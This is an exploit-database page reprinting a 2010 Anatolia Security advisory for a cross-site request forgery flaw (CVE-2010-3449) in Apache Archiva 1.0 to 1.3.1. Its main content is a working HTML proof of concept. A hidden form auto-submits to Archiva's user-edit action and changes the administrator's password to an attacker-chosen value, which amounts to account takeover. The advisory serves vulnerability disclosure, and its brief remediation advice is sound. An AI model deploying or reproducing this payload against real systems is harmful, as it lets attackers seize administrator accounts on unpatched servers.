Home / os / win7

[webapps / 0day] - Apache Archiva 1.0 - 1.3.1 CSRF Vulnerabi

Posted on 09 December 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Apache Archiva 1.0 - 1.3.1 CSRF Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Apache Archiva 1.0 - 1.3.1 CSRF Vulnerability by Anatolia Security in webapps / 0day | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>=============================================
Apache Archiva 1.0 - 1.3.1 CSRF Vulnerability
=============================================

### ADVISORY INFO ###
+ Title: Apache Archiva Cross-site Request Forgery Vulnerability
+ Advisory URL: http://www.anatoliasecurity.com/adv/as-adv-2010-001.txt
+ Advisory ID:  2010-001
+ Versions: Archiva 1.0 to 1.3.1
+ Date: 29/09/2010
+ CVE-ID: CVE-2010-3449
+ Vendor: The Apache Software Foundation
+ Impact: Gaining Administrator Privileges
+ CWE-ID: 352
+ Credit: Anatolia Security
+ References: http://archiva.apache.org/security.html
 
 
### VULNERABLE PRODUCT ###
+ Apache Archiva: &quot;Apache Archiva is an extensible repository management software that helps taking care of your
own personal or enterprise-wide build artifact repository. It is the perfect companion for build tools such as
Maven, Continuum, and ANT. Archiva offers several capabilities, amongst which remote repository proxying, security
access management, build artifact storage, delivery, browsing, indexing and usage reporting, extensible scanning
functionality... and many more!&quot;
+ Homepage: http://archiva.apache.org
 
 
 
### VULNERABILITY DETAILS ###
+ Description: Apache Archiva affects from Cross-site Request Forgery. Application don&#039;t check which form sends
credentials. Technically, attacker can create a specially crafted page and force archiva administrators to view it
and change their credentials. For prevention from CSRF vulnerabilities, application needs anti-csrf token, captcha
and asking old password for action like change password. Vulnerability patched by the Apache Archiva Team.
 
+ Exploit/POC: http://www.anatoliasecurity.com/exploits/archiva-csrf-poc.txt
 
&lt;!--
 
-*-*- ANATOLIA SECURITY (c) 2010 -*-*-
 
$ Title: Proof of Concept Code for Apache Archiva CSRF
$ ADV-ID: 2010-001
$ ADV-URL: http://www.anatoliasecurity.com/adv/as-adv-2010-001.txt
$ Technical Details: http://www.anatoliasecurity.com
 
* PoC created by Eliteman
~ mail: eliteman [~AT~] anatoliasecurity [~DOT~] com
~ web: elite.anatoliasecurity.com
 
--&gt;
&lt;html&gt;
&lt;head&gt;
&lt;title&gt; Apache Archiva CSRF PoC &lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;form id=&quot;userEditForm&quot; name=&quot;useredit&quot; action=&quot;http://archiva:8080/archiva/security/useredit.action&quot; method=&quot;post&quot;&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;user.username&quot; value=&quot;admin&quot; id=&quot;userEditForm_user_username&quot;/&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;user.fullName&quot; value=&quot;OWNED0DAY&quot; id=&quot;userEditForm_user_fullName&quot;/&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;user.email&quot; value=&quot;0day@zer0day.com&quot; id=&quot;userEditForm_user_email&quot;/&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;user.password&quot; value=&quot;1337owned&quot; id=&quot;userEditForm_user_password&quot;/&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;user.confirmPassword&quot; value=&quot;1337owned&quot; id=&quot;userEditForm_user_confirmPassword&quot;/&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;user.locked&quot; value=&quot;true&quot; id=&quot;userEditForm_user_locked&quot;/&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;__checkbox_user.locked&quot; value=&quot;true&quot; /&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;user.passwordChangeRequired&quot; value=&quot;true&quot; id=&quot;userEditForm_user_passwordChangeRequired&quot;/&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;__checkbox_user.passwordChangeRequired&quot; value=&quot;true&quot; /&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;username&quot; value=&quot;admin&quot; id=&quot;userEditForm_username&quot;/&gt;
  &lt;input type=&quot;hidden&quot; id=&quot;userEditForm__submit&quot; name=&quot;method:submit&quot; value=&quot;Update&quot;/&gt;
&lt;/form&gt;
&lt;script type=&quot;text/javascript&quot;&gt;
  document.forms[0].submit();
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;


# <a href='http://1337db.com/'>1337db.com</a> [2010-12-09]</pre></body></html>

 

TOP

Malware :

Exploits :